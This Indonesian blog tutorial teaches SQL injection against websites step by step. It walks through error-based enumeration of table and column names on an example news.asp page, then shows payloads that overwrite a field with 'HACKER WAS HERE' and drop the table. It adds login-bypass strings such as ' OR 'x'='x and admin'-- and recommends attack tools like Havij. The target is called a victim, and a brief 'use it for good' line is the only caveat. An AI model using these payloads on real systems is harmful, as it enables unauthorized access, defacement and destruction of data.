Belajar SQL Injection Tutorial dan Kumpulan Materi Gratis

Posted on

Saat ini, belajar SQL injection sedang diminati oleh orang-orang yang akan bergelut di bidang keamanan jaringan komputer. Hal tersebut berguna untuk mencari tahu celah keamanan dari database yang ada di dalam sebuah web server. Lalu, SQL injection itu apa sih?

SQL Injection adalah salah satu teknik hacking yang memiliki tujuan untuk menyerang database SQL di dalam sebuah server. Teknik ini memanfaatkan celah keamanan yang ada di dalam SQP server, dengan memasukan kode-kode berbahaya ke dalam halaman login sebuah situs.

Lalu, seperti apa sih SQL injection itu? Caranya gimana? Nah, kali ini kami akan mengulasnya untuk Anda. Tetapi sebelum itu, gunakan ilmu yang didapat dari artikel ini untuk kepentingan yang baik yah. Jangan sampai digunakan untuk kepentingan yang buruk. Oke, mari kita mulai pembahasannya.

10 langkah belajar SQL injection step by step

sql injection login
belajar sql injection step by step

Bagi Anda yang baru pertama kali mempelajari SQL injection, kali ini kami akan memandu Anda untuk belajar SQL injection step by step. Ini dia langkah-langkahnya:

  1. Misalnya saja, ada sebuah website dengan alamat sebagai berikut: http://www.website.com/Press_Releases/news.asp?id=57
    1. Untuk mendapat nama table dan nama field pertama, masukan alamat ini di browser : “<alamat website> having 1=1”
    2. Selanjutnya, akan muncul pesan error: Microsoft OLE DB Provider for SQL Server error ‘80040e14’ Column ‘media.id’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /Press_Releases/news.asp, line 6
    3. Dari pesan error tersebut, kita dapat mengetahui bahwa nama table adalah “media” dan nama field pertama adalah “id”
  2. Untuk mencari tahu nama field selanjutnya, masukan alamat ini di browser: <alamat website> GROUP BY media.id having 1=1
    1. Selanjutnya, akan muncul pesan error: Microsoft OLE DB Provider for SQL Server error ‘80040e14’ Column ‘media.mediadate’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /Press_Releases/news.asp, line 6
    2. Dari pesan error tersebut, kita dapat mengetahui bahwa nama field kedua adalah “mediadate”
  3. Untuk mencari tahu nama field selanjutnya, masukan alamat ini di browser : <alamat website> GROUP BY media.id,media.mediadate having 1=1
    1. Selanjutnya, akan muncul pesan error: Microsoft OLE DB Provider for SQL Server error ‘80040e14’ Column ‘media.mediatitle’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /Press_Releases/news.asp, line 6
    2. Dari pesan error tersebut, kita dapat mengetahui bahwa nama field ketiga adalah “mediatitle”
  4. Untuk mengetahui nama field selanjutnya, masukan alamat ini di browser: <alamat website> GROUP BY media.id,media.mediadate,media.mediatitle having 1=1
    1. Selanjutnya, akan muncul pesan error: Microsoft OLE DB Provider for SQL Server error ‘80040e14’ Column ‘media.mediapublisher’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /Press_Releases/news.asp, line 6
    2. Dari pesan error tersebut, kita bisa tahu bahwa nama field keempat adalah “mediapublisher”
  5. Untuk mengetahui nama field selanjutnya, masukan alamat ini di browser: <alamat website> GROUP BY media.id,media.mediadate,media.mediatitle,media.mediapublisher having 1=1
    1. Selanjutnya, akan muncul pesan error: Microsoft OLE DB Provider for SQL Server error ‘80040e14’ Column ‘media.mediapath’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /Press_Releases/news.asp, line 6
    2. Dari pesan error tersebut, kita bisa tahu bahwa nama field kelima adalah “mediapath”
  6. Untuk mengetahui nama field selanjutnya, masukan alamat ini di browser: <alamat website> GROUP BY media.id,media.mediadate,media.mediatitle,media.mediapublisher,media.mediapath having 1=1
    1. Selanjutnya, akan muncul pesan error: Microsoft OLE DB Provider for SQL Server error ‘80040e14’ Column ‘media.ishtml’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /Press_Releases/news.asp, line 6
    2. ari pesan error tersebut, kita bisa tahu bahwa nama field keenam adalah “ishtml”
  7. Untuk mengetahui nama field selanjutnya, masukan alamat ini di browser: <alamat website> GROUP BY media.id,media.mediadate,media.mediatitle,media.mediapublisher,media.mediapath,media.ishtml having 1=1
    1. Berbeda dengan langkah-langkah sebelumnya, selanjutnya tidak akan muncul pesan error apapun. Ini artinya, pencarian field sudah selesai.
  8. Untuk mengubah data, gunakan perintah “UPDATE”. Misalnya Anda hendak mengubah isi dari field ”mediapublisher”, ketik alamat berikut di browser: <alamat website>; UPDATE media set mediapublisher=’HACKER WAS HERE’ where id=57;
  9. Coba Anda akses alamat website korban dan lihat perubahannya.
  10. Anda juga bisa mencoba untuk menghapus table, walaupun cara ini berbahaya. Untuk melakukannya, gunakan perintah “DROP”. Ketik alamat berikut di web browser: <alamat website>; drop table media;

2 cara SQL injection login form

Untuk menembus password pada login form pada sebuah website, Anda bisa menempuh dua cara. Dari kedua cara tersebut, Anda bisa masuk ke suatu server website tanpa harus mengetahui password aksesnya. Berikut ini cara SQL injetcion login form yang bisa Anda gunakan:

  1. Menambahkan karakter ‘#’ setelah UserId. Sehingga ketika Anda memasukkan data yang ditambah karakter “#” pada kolom User Id dan sembarang karakter pada kotak Password, seperti pada gambar di bawah ini,
    1. Maka ketika tombol “Login” diklik, website tersebut akan menjalankan query seperti gambar di bawah ini:

      belajar sql injection pdf
      sql injection login
    2. Tanda “#” adalah tanda untuk komentar (remark) dalam bahasa pemrograman SQL. Tanda ini akan menyebabkan karakter setelah tanda tersebut akan diabaikan oleh sistem serta tidak akan dianggap sebagai kode program. Menariknya, imbas dari adanya tanda ini adalah Anda bisa memasukkan sembarang karakter pada kolom Password dan Anda masih bisa login menggunakan user ID yang Anda masukkan.
  2. Menambahkan injection string <karakter sembarang> ‘OR ‘x’=’x pada kolom Password.
    1. Sehingga ketika Anda mengklik tombol “Login”, sistem pada website tersebut akan menjalankan perintah seperti gambar di bawah ini.

      download sql injection
      sql injection login
    2. Lalu, karena pada kolom Password terisi karakter ‘sembarang’, tentu saja input data tersebut akan bernilai false dan Anda tidak bisa login ke website tersebut. Alasannya sederhana, karena password yang dimasukkan tidak sama dengan yang tersimpan di website. Tetapi karena query lanjutannya, yaitu OR ‘x’=’x , sistem website akan diberikan pilihan. Bila sebelumnya data password yang dimasukkan bernilai salah, maka selanjutnya akan dijalankan pilihan yang sudah pasti benar, yaitu ‘x’=’x’. Sehingga, Anda bisa menembus login form tanpa harus tahu password dari pemegang user ID tersebut.

3 tips SQL injection tutorial username password

Berikut ini adalah cara-cara sql injection tutorial username password yang bisa Anda ikuti di bawah ini:

  • Tambahkan karakter ‘–‘ pada kolom username. Tujuannya, agar ketika Anda mengklik tombol Login, sistem pada website akan memproses sintaks SQL berikut: SELECT * FROM users WHERE username=”–‘ AND password=’d41d8cd98f00b204e9800998ecf8427e’, dimana karakter ‘d41d8cd98f00b204e9800998ecf8427e’ menandakan karakter kosong yang dienkripsi oleh MD5. Sehingga, sintaks SQL yang akan dieksekusi oleh sistem website hanyalah: SELECT * FROM users WHERE username=”
  • Lalu, agar Anda bisa dikenali sebagai username tertentu oleh sistem website, maka sintaks SQL yang dimasukkan haruslah bernilai TRUE. Jika Anda hanya menggunakan string ” — ” (tanpa tanda kutip), maka Anda tidak akan dikenali oleh sistem website karena username ” alias kosong itu tidak ada. Untuk itu, Anda harus menambah sebuah pernyataan yang bernilai TRUE, misalnya:
    • ‘ or true–
    • ‘ or 1=1–
    • ‘ or ‘a’=’a’–
  • Sementara itu, jika Anda sudah mengetahui username yang terdaftar di website tersebut, tetapi Anda tidak tahu passwordnya, Anda bisa menggunakan menambahkan pernyataan setelah username seperti berikut:
    • admin’–
    • admin’ or true–
    • admin’ or ‘1’=’1′–

 

download SQL injection tools untuk praktek

belajar sql injection pdf
download sql injection

Untuk memudahkan Anda belajar SQL injection, saat ini sudah ada beberapa tools yang bisa Anda gunakan. Anda bisa download SQL injection tools yang kami rekomendasikan di bawah ini. Tentu saja, Anda harus mencarinya sendiri di internet, karena kami hanya akan menjelaskan keunggulan dari masing-masing tools. Ini dia toolsnya:

  • Havij SQL Injection
    • Tool SQL injection satu ini memiliki metode injection yang berbeda dengan tool lainnya. Oleh karena itu, tingkat kesuksesan tool ini dalam melakukan SQL injection bisa mencapai 95%. Selain itu, tampilan Havij yang user friendly membuatnya bisa dimengerti oleh semua kalangan.
  • Pangolin – Automated SQL Injection Test Tool
    • Tools berguna untuk melakukan SQL injection dalam rangka pengujian tingkat keamanan sebuah database.
  • BSQL Hacker
    • BSQL (Blind SQL) Hacker adalah tool SQL Injection yang diperuntukkan untuk melakukan SQL injection secara virtual.
  • Safe3 SQL Injector
    • Safe3SI juga merupakan tool SQL injection yang user friendly dan tingkat keberhasilannya hampir sama dengan Havij.
  • The Mole
    • Tool satu ini sebaiknya digunakan bagi orang yang paham, karena tampilannya yang kurang user friendly.
  • SQLNinja SQL injection
    • Tool ini diperuntukan untuk melakukan SQL injection pada website yang menggunakan Microsoft SQL Server sebagai aplikasi databasenya.

6 link materi belajar SQL injection PDF

Untuk melengkapi materi dari kami kali ini, berikut ini link download materi belajar SQL injection PDF yang bisa Anda baca menggunakan software PDF reader:

Sekian artikel kami kali ini seputar belajar SQL injection. Semoga materi yang kami ulas kali ini dapat memperkaya pengetahuan Anda seputar hacking.

ARTIKEL TERKAIT